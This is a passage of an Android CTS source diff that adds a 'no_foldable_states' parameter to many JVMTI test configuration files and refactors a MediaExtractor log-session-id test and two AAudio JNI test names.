+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
index 1a425de..f8eb6c4 100644
--- a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
index 2421692..6b476d8 100644
--- a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
index c7331d2..d7dc053 100644
--- a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
index c2ee06b..81e04a9 100644
--- a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
index 04dac54..b2d4c6e 100644
--- a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
index 3dbdbab..9a4069d 100644
--- a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
index 71226b5..9bc5411 100644
--- a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
index db33dcf..bb5c8f2 100644
--- a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
index 003fd7a..64e013f 100644
--- a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
index f8a7fac..6bff81e 100644
--- a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
index 184c200..a44a854 100644
--- a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
index bb07042..5f51d25 100644
--- a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
index 5395e43..2d7cc09 100644
--- a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
index 9dc655c..ac9f2f2 100644
--- a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
index 3359fdd..ca3d9eb 100644
--- a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index f0d69c5..297bf96 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
index 6a941ee..45c0f33 100644
--- a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
index e36b1c9..79157a7 100644
--- a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
index 7821b7e..032c958 100644
--- a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
index 0283963..03f1da3 100644
--- a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml
index 6299497..2d175aa 100644
--- a/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art"/>
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
index 523cc8b..b437b9e 100644
--- a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
index d1bf3bf..87b4c93 100644
--- a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
index 336cd3c..cc97a0f 100644
--- a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml
index 469494c..33d8c1a 100644
--- a/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml
index 316271d..7604d13 100644
--- a/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml
index 2cd94a6..88ebd62 100644
--- a/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-990/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml
index bfe86f1..e746f30 100644
--- a/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-991/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml
index 6a9d4c3..ce142c2 100644
--- a/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-992/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml
index aa4faa7..bce3ac8 100644
--- a/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-993/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml
index bcd4211..acf1f07 100644
--- a/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-994/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml
index 4c6e4d3..d39288d8 100644
--- a/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-995/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml
index 025d6d4..ce5c44c 100644
--- a/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-996/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml
index ffecdca..5458451 100644
--- a/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-997/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/tagging/AndroidTest.xml b/hostsidetests/jvmti/tagging/AndroidTest.xml
index 2129bb0..b1845f0 100644
--- a/hostsidetests/jvmti/tagging/AndroidTest.xml
+++ b/hostsidetests/jvmti/tagging/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
index 0bc306a..75a4c1e 100644
--- a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -21,6 +21,8 @@
 import android.content.res.AssetManager;
 import android.media.MediaExtractor;
 import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.PlaybackSession;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -69,7 +71,26 @@
     }
 
     @Test
-    public void testLogSessionId() throws Exception {
+    public void testInvalidLogSessionId() throws Exception {
+        // An arbitrary 16 char Base64Url log session id.
+        // This will be set in the extractor, but will be blocked from statsd.
+        assertMediaExtractorAcceptsLogSessionId(new LogSessionId("FakeLogSessionId"));
+    }
+
+    @Test
+    public void testValidLogSessionId() throws Exception {
+        MediaMetricsManager mediaMetricsManager = InstrumentationRegistry
+                .getInstrumentation().getTargetContext()
+                .getSystemService(MediaMetricsManager.class);
+        PlaybackSession playbackSession = mediaMetricsManager.createPlaybackSession();
+        // Send a valid log session id from MediaMetricsManager service to statsd.
+        assertMediaExtractorAcceptsLogSessionId(playbackSession.getSessionId());
+    }
+
+    // Test whether MediaExtractor properly sets and gets the log session id.
+    // See MediaExtractorHostSideTest.java, which verifies if it is sent to statsd.
+    private void assertMediaExtractorAcceptsLogSessionId(
+            LogSessionId logSessionId) throws Exception {
         MediaExtractor mediaExtractor = new MediaExtractor();
         AssetManager assetManager =
                 InstrumentationRegistry.getInstrumentation().getContext().getAssets();
@@ -77,9 +98,8 @@
             mediaExtractor.setDataSource(fileDescriptor);
             assertThat(mediaExtractor.getLogSessionId())
                     .isEqualTo(LogSessionId.LOG_SESSION_ID_NONE);
-            mediaExtractor.setLogSessionId(new LogSessionId("FakeLogSessionId"));
-            assertThat(mediaExtractor.getLogSessionId().getStringId())
-                    .isEqualTo("FakeLogSessionId");
+            mediaExtractor.setLogSessionId(logSessionId);
+            assertThat(mediaExtractor.getLogSessionId()).isEqualTo(logSessionId);
         } finally {
             mediaExtractor.release();
         }
diff --git a/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp b/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp
index 699d9ea..a8e7499 100644
--- a/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp
+++ b/hostsidetests/media/app/MediaMetricsTest/jni/aaudio_stream.cpp
@@ -44,13 +44,13 @@
 }
 
 extern "C" JNIEXPORT void JNICALL
-Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioMmapOutputStream(
+Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioLowLatencyOutputStream(
         JNIEnv *, jobject /* this */) {
     tryOpeningStream(AAUDIO_DIRECTION_OUTPUT, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY);
 }
 
 extern "C" JNIEXPORT void JNICALL
-Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioMmapInputStream(
+Java_android_media_metrics_cts_MediaMetricsAtomHostSideTests_testAAudioLowLatencyInputStream(
         JNIEnv *, jobject /* this */) {
     tryOpeningStream(AAUDIO_DIRECTION_INPUT, AAUDIO_PERFORMANCE_MODE_LOW_LATENCY);
 }
diff --git a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
index 28bb556..5684cfa 100644
--- a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
+++ b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
